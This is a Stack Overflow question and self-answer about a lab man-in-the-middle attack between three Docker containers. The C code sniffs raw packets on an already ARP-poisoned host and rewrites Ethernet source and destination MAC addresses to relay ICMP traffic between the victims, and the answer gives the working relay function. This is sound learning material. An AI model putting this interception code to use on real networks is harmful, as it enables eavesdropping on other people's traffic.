4

I'm implementing man in the middle attack in C. There are three docker containers: Host A (sender), Host B (receiver), and Host M (attacker).

My objective is to ping from Host A to Host B but sniffing the echo request from A at M and then relay the echo request from M to B.

I've already done ARP poisoning. The ICMP packets are being sent from A to M. Now I'm trying to relay the echo requests from M to B. Interesting fact is: the packets are being relayed, too, but whereas A is sending 1 echo request every 5 second (ping -i 5 IP-hostB), M is flooding the echo request to Host B. Why is that happening? I'm relaying the packet only when M is receiving a echo request. Then where from is M getting the flooded echo request to relay?

Edit The ping flooding has stopped now after using the same socket for receiving and sending packets. But now the echo requests are being relayed from M to B (initially sent from A) properly. But Host B is not sending the echo reply for those echo responses. I used tcpdump to check if B is getting the echo requests, and B is indeed getting the requests. Why then is B not sending back the reply? I thought it's because B's arp cache is being poisoned. But I did arp -a at Host B, and it knows what Host A's MAC address is.

Any idea what's causing B to not send the echo reply?

 

The relevant relaying code:

static unsigned short compute_checksum(unsigned short *addr,
                                       unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
                              const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);


int main()
{
    int saddr_size, data_size;
    struct sockaddr saddr;

    unsigned char *buffer = (unsigned char *) malloc(65536);

    int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );

    if(sock_raw < 0) {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }

    while(1) {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw, buffer, 65536, 0,
                             &saddr, (socklen_t*)&saddr_size);
        // data_size = recv(sock_raw, buffer, 65536, 0);
        if(data_size <0 ) {
            printf("Recvfrom error , failed to get packets\n");
            return 1;
        }
        relay_icmp_packet(buffer, data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void relay_icmp_packet(unsigned char* buffer, int size)
{
    // Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
    // Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
    // Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69

    int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    eth->h_dest[0] = 0X02;
    eth->h_dest[1] = 0X42;
    eth->h_dest[2] = 0X0A;
    eth->h_dest[3] = 0X09;
    eth->h_dest[4] = 0X00;
    eth->h_dest[5] = 0X06;

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    memset(&source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
    // printf("%s\n", inet_ntoa(source.sin_addr));

    if (!(iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")))
        return;

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
    compute_ip_checksum(iph);
    icmph->checksum = 0;
    icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret = -5;
    // ret = send(sockid, eth, size, 0);
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));
}

/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */

3N4N
  • 570
  • 5
  • 21
  • Are you sure the spoofed packets are not being "sent" straight back to M itself? – G. Sliepen Jul 03 '21 at 18:52
  • @G.Sliepen I'm sure in the sense that I can see Host B's tcpdump saying it received an echo request from Host A right at the moment my program at Host M says it sent an echo request. Anyway, there is an update. There is no more any ping flooding. The pings are getting from A to M every five seconds and then from M to B every five seconds. The problem now is that B is not sending back the echo reply. I thought it's because B's arp cache is being poisoned since B's not getting arp responses from A. But I did `arp -a` and B's cache is fine. Any idea what's going on then? – 3N4N Jul 03 '21 at 19:00
  • I've seen systems smart enough to realize the sending ARP address is wrong and throw the packet out. – Joshua Jul 04 '21 at 01:32
  • @Joshua, that's done by validating checksum. I recalculate checksum at the attacker container. But maybe my checksum function is wrong. I lifted it from somewhere on the internet. – 3N4N Jul 04 '21 at 08:13
  • If you ping B from M, does it echo reply? (just a regular `ping`, not MitM) – Fusho Jul 04 '21 at 10:26
  • @Anton, yes, B replies. – 3N4N Jul 04 '21 at 11:47
  • Then, I would suggest to `diff` both ping request packets at B interface... – Fusho Jul 04 '21 at 13:03
  • @Anton how do I diff packets? As of simply checking manually with bare eyes in wireshark, I think everything is correct. – 3N4N Jul 04 '21 at 13:47
  • Eyeballing should be enough since ping request are not to long, just make sure of watching raw bytes and not wireshark-decoded info. If everything looks ok, as you said, it is probably a problem with the checksum function... I would try to compute the checksum of the original packet and see if they match. – Fusho Jul 04 '21 at 14:11
  • @Anton, I realized something: since I'm only changing the ethernet header portion, the checksums of either IPV4 header or ICMP header aren't going to change, and they don't change. I checked with wireshark validation and wireshark says checksums are good. – 3N4N Jul 05 '21 at 03:19
  • That makes sense, but then "_I did `arp -a` at Host B, and it knows what Host A's MAC address is._" does not. You also need to poisson B arp table, right? did you? Otoh, I would suggest you edit your example code to make minimal (remove `checksum`s, not used functions...), that will avoid confusion. – Fusho Jul 05 '21 at 14:15
  • @Anton, edited the post. And about poisoning B's arp cache: I tried that, too: poisoning both and relaying both requests and replies through M. Same result. A's requests are relayed through M to B, B gets the requests doesn't reply back. – 3N4N Jul 05 '21 at 14:56

1 Answers1

1

I fixed the problem by changing the relay packet's Ethernet header. Initially I thought I only need to change the destination MAC address, since the destination IP is already correct. But in reality it was even simpler. Let me reiterate the scenario.

There are three hosts: A, B, and M, where M is the attacker. A's and B's ARP caches are poisoned so that A thinks B's MAC address is MACM and B thinks A's MAC address is MACM.

When A sends ICMP packet to B, it instead goes to M. M needs to change the source MAC to MACM and destination MAC to MACB, because by ARPB, B thinks MACM is actually A's MAC address.

So, when initially I was changing only the destination MAC address, B was receiving the ICMP echo request but was discarding it because the source IP and source MAC didn't match according to B's ARP cache.

After fixing, the following worked.

void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
    // sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    unsigned short ethdrlen = sizeof(struct ethhdr);

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    if (iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X06;
    } else if (iph->saddr == inet_addr("10.9.0.6")
        && iph->daddr== inet_addr("10.9.0.5")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X05;
    } else {
        printf("FUCK\n");
        return;
    }

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
    int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;

    iph->check = 0;
    iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
    icmph->checksum = 0;
    icmph->checksum = compute_checksum((uint16_t *)icmph,
                                       size - ethdrlen - iphdrlen);

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret;
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));

    if (ret > 0) {
        printf("[%d] ICMP packet relayed to ", ret);
        PRINT_MAC_ADDRESS(stdout, eth->h_dest);
    }

    // close(sockid);
}
3N4N
  • 570
  • 5
  • 21